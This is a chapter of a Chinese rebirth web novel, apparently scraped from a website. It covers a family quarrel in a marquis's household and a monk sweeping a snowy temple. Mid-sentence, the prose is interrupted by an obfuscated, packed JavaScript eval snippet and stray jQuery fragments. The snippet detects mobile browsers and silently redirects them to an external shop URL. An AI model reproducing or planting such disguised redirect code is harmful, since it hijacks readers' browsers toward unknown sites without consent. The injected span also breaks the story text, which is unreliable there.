在程玦的记忆中,她对这位出身高门的靖远侯其实没有太多印象。
李家如今唯李忱一人在朝中任职,李忱是国子监司业,日常除却讲学和教化士子,几乎是从不参与朝堂之事的。
所以温知微喊他“老师”。
而能在会试前借住司业家中,就近求学,这对温知微来说,本身也是一种莫大的荣耀。
程玦自李忱联想到温知微,就也顺带在脑子里过了遍侯府的其他成员。
李家人丁单薄,李忱的父亲是上一任国子监祭酒,老爷子只管闷头做学问,不问世事。
因其性淡薄到近乎纯臣,不仅景和帝,就连先帝对他也是颇为倚重。
先帝做主将戍边将军莫润诚的独女指给了李老爷子,二人婚后育有两子,便是长房的李忱和二房李旭。
李旭与夫人只生有一女,李忱跟程芳也仅李熏一个儿子。
程玦想,若说还记得多少与李忱相关的事,大抵就是住在李忱偏院那五位妾室了,虽说高门纳妾不算稀罕,但她却深知她母亲骨子里的强势。
可怪就怪在,程芳非但没处置那几名妾室,还时常往他们屋子里送补品。
应该也是为了李家的子嗣吧?
程玦想。
毕竟她还是能看得出,程芳对妾室们的厌烦,但程芳确实不曾对妾室用过手段,只是更怪的是,妾室们也无一人诞下子嗣。
程玦对内宅琐事向来是不上心的,程芳高兴与否,也都与她无关。
只是今日甫一见到李忱,思绪便不受控的想多了点。
李忱自后园中来,一身玄色棉袍,干净朴素,他身上总有股子淡淡的墨香,也就到了冬日,会沾染几许寒梅的冷。
李忱既发了话,李熏自然不敢放肆,可矜贵的小少爷难免心中委屈,便故意用大家都能听到的声音咕哝了句:“若论教养,某人可比我差得远呢!”
他明里暗里的嘲讽程玦,甚至还白了程玦一眼。
不过程玦这会儿神智已清明许多,后知后觉,她就感叹自己与李熏赌气属实愚蠢。
她本就不是这府上的人,凭什么要和他们同归于尽。
还是活着好。
至少,活着就有希望……
思绪扭转过来,女子绷紧的情绪也跟着松懈,她重新靠回椅背,朝着李忱方向微一颔首:“爹爹。”
在她心中,父亲唯有袁清一人,所以能喊侯爷一声“爹”,她已经是给了程芳最大的体面。
程玦并没将这声称呼放在心上,但李熏就不同了。
她话方落,李熏就死死瞪向了她,失而复得的东珠尚未握的热乎,李熏便又故态复萌冷哼了声:“喊爹,你也配?”
“李熏!”
李忱这一声喝止比方才更重。
清高如靖远侯,如今也有些挂不住脸了。
可他再三因程玦斥责儿子,李熏终是压不住情绪,咬着牙高吼出一句:“您为何不问青红皂白就先训斥于我?难不成,父亲还真想要她做我长姐?”
少年的话音含着全然怒意和颤抖,他猛地抹去额角堆聚的汗,举起珠子,怒到极点:“她刚刚把御赐之物丢去了府外,父亲赐她锦衣玉食,她却要来恩将仇报!”
“她哪有拿咱们当自家人?分明是想害死侯府!!”
李熏吼得撕心裂肺,脑子乱嗡嗡作响,情绪尽数上涌,连会受怎样的责罚也顾不得了。
他只是极力想同李忱证明,证明侯府收留程玦是错,而程玦分明就是个养不熟的白眼狼!
李熏愤懑交加,将寻珠时的那股子惊怕全部吐了出来。
许是这少年的肺气十足,亦或是正处于变声期声调不稳,这般尖锐又高亢的表达不满,还真将李忱和程玦喊得一愣。
李忱眼中略有些诧异,视线继而落向程玦。
而程玦望向少年那张含满冤屈的脸,第一念头竟是——
幸亏这人与自己毫无血缘,否则她可能真会履行长姐职责,让李熏明白明白什么叫做“棍棒底下出人才”了。
李忱视线投来,程玦自也看了过去。
其实上辈子她对这府上每一个人的容貌都是模糊不清的,她骨子里排斥,对方也同等的厌恶她,她便也没那好兴致去挨个记谁的长相。
也就有过夫妻之缘的温知微,她勉强还会上点心。
李熏在旁边叫嚣的欢,但程玦却意外在侯爷的神情中捕捉到一丝旁的情绪,可人心实在难懂,不止隔着肚皮,还有重重妄念和无尽的阴暗。
总之,想象中的怒意没有出现,而这着实也叫她生出了几分疑窦。
李忱双手背着,一身名家大儒的气度,他偏过身去看李熏,尽管没再斥责儿子,但还是催促着将李熏打发回了院子去。
程玦不由对李忱又多了些好奇,就用不解的目光望向他。
李忱正目送儿子,侧对向她,然而这般独特的角度……程玦眼中忽然就升起一股名为“熟悉”的诧然来。
她总觉得,她应该是见过李忱的。
不是上辈子的记忆,不是哪一次相遇的记忆,而是一种全新的,此前从来没有过的,非常微妙的熟悉。
但这念头只出现一瞬,就自她的脑子里闪了出去。
抛开李熏的行为,程玦本人还是很清醒的。
她只是恨程芳,因为潜意识里她总认为,如果程芳不抛弃她和父亲,他们便不会如此艰难,父亲也不会与她天人永隔。
可她确实没什么理由恨靖远侯府,想要同归于尽是冲动之下的愤怒,是她将暗室的遭遇牵累到了他们的身上。
总不能因为谁不喜她,她便要对方的命吧。
好歹上辈子温知微来求娶,她点了头,侯府如何厌她,也还是备下丰厚嫁妆,风风光光将她嫁了出去的。
李熏离开之后,她就预备也找个借口回清芷园去。
她冲李忱轻点下头,声音听不出起伏的道明去意。
只是还没走出两步,李忱就思忖着道:“听你母亲说,你没怎么读过书,如果你愿意,我可让知微做你的先生?”
程玦听罢一顿,偏头看向李忱。
前生温知微也做过她一段时间的先生,而他们二人正是因着顺理成章的相处,才有之后的嫁娶一事。
但她总归又活过来,想法自然比前世要多。
她这世是不打算连累温知微的,就犹豫道:“孤男寡女,恐传出什么不好的闲话,且温公子又是爹爹的得意门生,还是不要麻烦他了。”
她的意思已经表达清楚,可也不知李忱这位大儒是不通人情,还是过分执着。
李忱迈来两步,神情带上温和:“谈不上麻烦,他的学识我心中有数,会试不是问题,你无需担忧会影响他。”
这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813616|210965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便是不能回绝的意思了。
程玦不由默叹,难道她与温知微真这么有缘?
纵然今生她已尽力避开,可命运还是总有办法把这人推来她的身边。
罢了。
她厌烦继续跟李忱打太极,就敷衍着应下了此事。
……
冬日的雪总是更任性一些,你不知它何时会来,亦不知它何时不来。
总归,温珩刚睁眼就被冻得打了个喷嚏。
窗外漫天素白,温珩却抱着被子悠悠感慨:“果真,假的就是假的,聚丙烯酸钠哪比得上大自然诚心铸就的馈赠……”
身旁和尚听他之言,揉着眼,坐起身问:“观烬,你念的是什么经?我怎么听不太懂。”
温珩挽起一半的发,熟练用木簪束好,抿唇笑了下。
他心说:你要是能听懂,那就很可怕了。
和尚说话间已经下了榻,并看着他说:“今日轮到你我扫殿,这雪应是下了整夜,殿前台阶亦要清理……”
他本想先扫台阶,但风雪未停,心中就又起了犹豫。
温珩看出他的纠结,而自己本也不是急躁之人,便套上外袍,神情惬意道:“天降大雪,咱们赏雪便是,这世间事皆有各自的缘法,忧思过甚,岂非辜负了美意?”
而和尚听罢,眼中就是一亮:“怪不得方丈总言你通透,佛曰:众生困于尘劳,皆由贪嗔痴慢疑而起,如此说来,倒是我犯了痴。”
他三言两语,倒是说的温珩面羞了。
温珩心道:这哪里配叫通透?只是不愿冒着大风去扫雪罢了。
如此,心虚的默念几声“阿弥陀佛”,他就主动拎上扫帚:“我先去观音殿那儿清扫一下。”
慈音寺乃京都第一古刹,僧人三千,占地约六百亩。
所以这扫殿,当然不会只分配给他二人,只是他们的居所紧邻正殿,连带着殿前那一百零八阶,就理所应当也划分在了范围之内。
其中一间观音正殿,左右廊庑连通处皆建了偏殿。
温珩打扫之后,本想先去用点斋饭,却忽入一袭冷风,顷刻,一株不知打哪飘来的寒梅,就夹着风雪落地生了根。
红梅迎风而立,虽困于雪却不肯倒下,几许霜白覆盖其上,很快又被风雪抖落,重新展露出它的本色。
温珩弯身拾起寒梅,心头竟起了些许暖意。
他如何也难想到,自己会被这清傲的梅花绊住了脚。
那梅瓣随风摇摆,自有一股倔强气魄。
温珩凝眸细瞧,倏然瞳孔一缩,随即快步踏入观音殿,双手合十,跪到了蒲团上。
他心中苦恼,亦有庆幸。
万般交织之下,便无奈喟叹:说好要重回陌路的……
可他好像,还是放心不下。
温珩对着菩萨郑重叩首,继而诚心祈祷:“愿菩萨垂怜,她前世悲苦,只求今世得一方清净,渡她此生顺遂快意。”
此殿原是作香客供祈福灯的,如今,每一道红笺下压着的,皆是香客万般虔诚的祈愿。
温珩做完想做之事,便起身去拿扫帚,然手还没碰到木柄,扫帚竟朝旁侧倾倒过去。
男子忙三两步上前,弯身扶起,继而正要离去,就被角落里的一盏灯吸引了目光。
无他。
只因那灯盏之下,出现了一个绝不该在此处出现的名字。